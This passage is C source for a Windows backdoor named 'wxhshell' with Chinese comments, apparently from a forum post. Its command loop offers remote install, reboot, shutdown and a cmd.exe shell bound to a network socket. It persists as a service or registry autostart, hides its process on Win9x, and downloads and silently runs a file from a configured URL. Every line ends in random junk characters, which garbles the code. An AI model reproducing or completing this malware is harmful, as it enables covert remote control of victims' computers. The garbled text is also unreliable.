  // 安装 c= t4 gf  
  case 'i': { us.[wp'Sh  
    if(Install()) dLYM )-H`>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @S3L%lOH  
    else ) ' xyK  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *R+M#l9D`  
    break; 1< vJuF^  
    } W%+02_/)  
  // 卸载 -dovk?'Gj  
  case 'r': { y7pBcyWTE=  
    if(Uninstall()) cI[i v  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gqv+|:#  
    else IER;d\_V<  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;cVK2'  
    break; } `L;.9  
    } =-oP,$k  
  // 显示 wxhshell 所在路径 #MY oy7=  
  case 'p': { ^!B]V>L-  
    char svExeFile[MAX_PATH]; diNSF-wi,,  
    strcpy(svExeFile,"\n\r"); gN}$$vS  
      strcat(svExeFile,ExeFile); p|gVIsg[-e  
        send(wsh,svExeFile,strlen(svExeFile),0); C1{Q 4(K%  
    break; "S#$:92  
    } |vd|; " `  
  // 重启 \Yj_U'2"i  
  case 'b': { <p<6!tdO  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); #om Gj&  
    if(Boot(REBOOT)) 3_@I E2dA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >q;| dn9  
    else { uB+#<F/c  
    closesocket(wsh); .*N,x(V  
    ExitThread(0); }uMu8)Q  
    } =EVB?k ,  
    break; OF*E1B M  
    } o%Q9]=%!  
  // 关机 R7IFlQH%  
  case 'd': { s[7$%|~W  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); h*^JFZb  
    if(Boot(SHUTDOWN)) ]A[}:E 5}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M+")*Opq  
    else { :Jyr^0`J  
    closesocket(wsh); _L)LyQD]T  
    ExitThread(0); Gd C=>\]  
    } <!t;[ie?y  
    break; Gu{1%bb#kL  
    } t~qSiHw  
  // 获取shell 5 xr2  
  case 's': { S'RRe84 C  
    CmdShell(wsh); Pjq9BK9p  
    closesocket(wsh); f]10^y5&  
    ExitThread(0); yx#!2Z0hw  
    break; }{:Jj/d p  
  } .Od@i$E>&  
  // 退出 b:9"nALgC  
  case 'x': { ?4%#myO3a  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); X7*ossv  
    CloseIt(wsh); L"0dB.  
    break; J_+2]X7n  
    } ;ZJ. 7t'  
  // 离开 Gmu[UI}w8  
  case 'q': { ih("`//nP  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Eva&FHRTY  
    closesocket(wsh); Z wKX$(n  
    WSACleanup(); x%)oL:ue  
    exit(1); UK'8cz9  
    break; (Qw>P42J  
        } ,I|^d.[2  
  } "$5cKbJ  
  } QX?moW6UW  
'xuxMav6m  
  // 提示信息 7lYf+&JZ  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *B4OvHi)'  
} b!-=L&V  
  } xGOmvn^lQ  
v#9i|  
  return; "&qAV'U  
} w[vccARQ  
k0FAI0~(  
// shell模块句柄 a"}ndrc*  
int CmdShell(SOCKET sock) ]/p>p3@1C  
{ EFU)0IAL[  
STARTUPINFO si; ENA"T-p  
ZeroMemory(&si,sizeof(si)); j7Zv"Vq@  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; h+_:zWU  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; `}ZtK574  
PROCESS_INFORMATION ProcessInfo; 18~jUYMV  
char cmdline[]="cmd"; 9h+T O_T@F  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); >BJBM |  
  return 0; :V6t5I'_  
} ?;w`hA3ei  
\u6.*w5TI  
// 自身启动模式 #3>jgluM'  
int StartFromService(void)  ^0{t  
{ Kl?C[  
typedef struct w$]wd`N}  
{ A]%*ye"NT  
  DWORD ExitStatus; PXl%"O%d  
  DWORD PebBaseAddress; 1D1kjM^Bo  
  DWORD AffinityMask; ?]*"S{Cqv  
  DWORD BasePriority; lt'N{LFvc  
  ULONG UniqueProcessId; LGtw4'yr  
  ULONG InheritedFromUniqueProcessId; ]w*`}  
}   PROCESS_BASIC_INFORMATION; a_VWgPVdDS  
 b utBS  
PROCNTQSIP NtQueryInformationProcess; B)d 4]]4\\  
"Qc4v@~)  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 4K~>  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; E>|fbaN-%  
giIPK&  
  HANDLE             hProcess; @}r s6 G  
  PROCESS_BASIC_INFORMATION pbi; 6 %`h2Z  
p")"t`k7  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); UZ-pN_!Z:  
  if(NULL == hInst ) return 0; /Aw@2 6  
=yRv *C  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); x'G_z_<V  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Q`O~f<a  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); bO('y@)X  
TQ~a5q  
  if (!NtQueryInformationProcess) return 0; b"Nd8f[  
Rw63{b/  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); J`; 9Z  
  if(!hProcess) return 0; E&"V~  
>CcDG  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; c[3x>f0  
klc$n07  
  CloseHandle(hProcess); H:Q4!<  
benqm ~{\  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); b!/-9{  
if(hProcess==NULL) return 0; %ol1WG9  
GAs.?JHd  
HMODULE hMod; svt3gkR0  
char procName[255]; [tC=P&<  
unsigned long cbNeeded; cl{mRt0  
I !lR 7%  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); M`9|8f,!a  
iTT7<x  
  CloseHandle(hProcess); ym` 4v5w  
M4 }))  
if(strstr(procName,"services")) return 1; // 以服务启动 5+b73R3r  
1<Uv4S  
  return 0; // 注册表启动 6#:V3 ;  
} <jaQ 0S{|  
T`u ,!S  
// 主模块 Ofb&W AD  
int StartWxhshell(LPSTR lpCmdLine) ,t*H: *  
{ >~'z%  
  SOCKET wsl; szqR1A  
BOOL val=TRUE; "2tKh!?Q  
  int port=0; pI_:3D xe  
  struct sockaddr_in door; )RWY("SUy1  
?oV|.LM:W  
  if(wscfg.ws_autoins) Install(); &tiJ=;R1  
" w /Odd  
port=atoi(lpCmdLine); Xe\v6gbD  
pz{ ]O_px  
if(port<=0) port=wscfg.ws_port; Qip@L WvT  
#g2&x sU  
  WSADATA data; XrXW6s ;Z  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; |v#rSVx  
F{ C2% s#  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   G~ 4G$YL*  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); M D& 7k,!  
  door.sin_family = AF_INET; EACI>  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); L@?3E`4/v  
  door.sin_port = htons(port); V1Gnr~GM  
aM_O0Rn==  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ^ME'D  
closesocket(wsl); 3".#nN  
return 1; D mky!Cp  
} l&Y'5k_R  
rodqa  
  if(listen(wsl,2) == INVALID_SOCKET) { 0q]0+o*%  
closesocket(wsl); L)9Z Op5  
return 1; 9.9B#?  
} Vkf{dHjW  
  Wxhshell(wsl); ZC^NhgX  
  WSACleanup(); PH^Gjm  
(bB"6 #TI  
return 0; e)XnS'  
iG=Di)O  
} }{&;\^i  
CHCT e  
// 以NT服务方式启动 R`Hy0;X  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv )  BJg  
{ 8WKY 4nkj  
DWORD   status = 0; ^HE@ [b  
  DWORD   specificError = 0xfffffff; aej'cbO  
wL>;_KdU`  
  serviceStatus.dwServiceType     = SERVICE_WIN32; <q I!Dj{  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; I;G(Wj  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; j^hLn >  
  serviceStatus.dwWin32ExitCode     = 0; 0fqycGSmU  
  serviceStatus.dwServiceSpecificExitCode = 0; 'C>sYSL  
  serviceStatus.dwCheckPoint       = 0; e3[Q6d&|  
  serviceStatus.dwWaitHint       = 0; z"Cyjmg"  
O{U j  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 8L6b:$Y3@C  
  if (hServiceStatusHandle==0) return; kN#3HI]8  
5;HCNwX  
status = GetLastError(); $Fy >N>,E(  
  if (status!=NO_ERROR) eYu0")  
{ T)ISDK4>S"  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; M[Nv>  
    serviceStatus.dwCheckPoint       = 0; 4_$.gO  
    serviceStatus.dwWaitHint       = 0; K7nyQGS  
    serviceStatus.dwWin32ExitCode     = status; xZ >j Q_}  
    serviceStatus.dwServiceSpecificExitCode = specificError; 9}4~3_gv;M  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); jmP;(j.|  
    return; N8J(RR9O  
  } S a}P |qI  
cz|?j  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; -_O j iQ R  
  serviceStatus.dwCheckPoint       = 0; 3od16{YH  
  serviceStatus.dwWaitHint       = 0; NBLjBa%eL  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); |WOc0M[U  
} Oi-%6&}J  
[ Q/kNK  
// 处理NT服务事件,比如:启动、停止 XBO( *6"E  
VOID WINAPI NTServiceHandler(DWORD fdwControl) <num!@2D  
{ nI1(2a1  
switch(fdwControl) [%~yY&  
{ 2. {/ls  
case SERVICE_CONTROL_STOP: q[/pE7FL  
  serviceStatus.dwWin32ExitCode = 0; | :id/  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; )%lPKp4]  
  serviceStatus.dwCheckPoint   = 0; ]I zD`  
  serviceStatus.dwWaitHint     = 0; K%Bz6 ~  
  { V\l@_%D[(v  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); `82Dm!V  
  } 4G XS(  
  return; <z>oY2%  
case SERVICE_CONTROL_PAUSE: $q .}eb0  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; $TK= :8HY  
  break; a(ml#-M  
case SERVICE_CONTROL_CONTINUE: p  UW7p  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ;BKU _}k=  
  break; (Q8r2*L  
case SERVICE_CONTROL_INTERROGATE: <$WS~tTz  
  break; (vvD<S*  
}; ;P/ 4.|<  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); GS}JyU  
} )+w1nw|m  
DVJn;X^T:  
// 标准应用程序主函数 {];-b0MS~  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 1uB$@a\  
{ k,f/9e+#  
nr,Z0  
// 获取操作系统版本 |{_>H '  
OsIsNt=GetOsVer(); $J&c1  
GetModuleFileName(NULL,ExeFile,MAX_PATH); hhFO,  
.0~uM!3y  
  // 从命令行安装 O}p<"3Ub  
  if(strpbrk(lpCmdLine,"iI")) Install(); (Nv -wU  
)?c,&  
  // 下载执行文件 ;K%/s IIke  
if(wscfg.ws_downexe) { Q;A\M  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) {t!7r_hj  
  WinExec(wscfg.ws_filenam,SW_HIDE); g x?r8  
} NK(_ &.F  
~!cxRd5;F  
if(!OsIsNt) { vAqj4:j  
// 如果时win9x,隐藏进程并且设置为注册表启动 bMNr +N  
HideProc(); }&= =;7,O  
StartWxhshell(lpCmdLine); \j3dB tc  
} ItZYOt|Hn  
else ju .pQ=PSX  
  if(StartFromService()) &ODo7@v`1  
  // 以服务方式启动 bSz7?NAp  
  StartServiceCtrlDispatcher(DispatchTable); 9 %i\)  
else ~131|e`C  
  // 普通方式启动 Kr `/sWZ  
  StartWxhshell(lpCmdLine); aql8Or1[  
a(ITv roM/  
return 0; sf# px|~9  
}
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只看该作者 1 发表于: 2006-10-10
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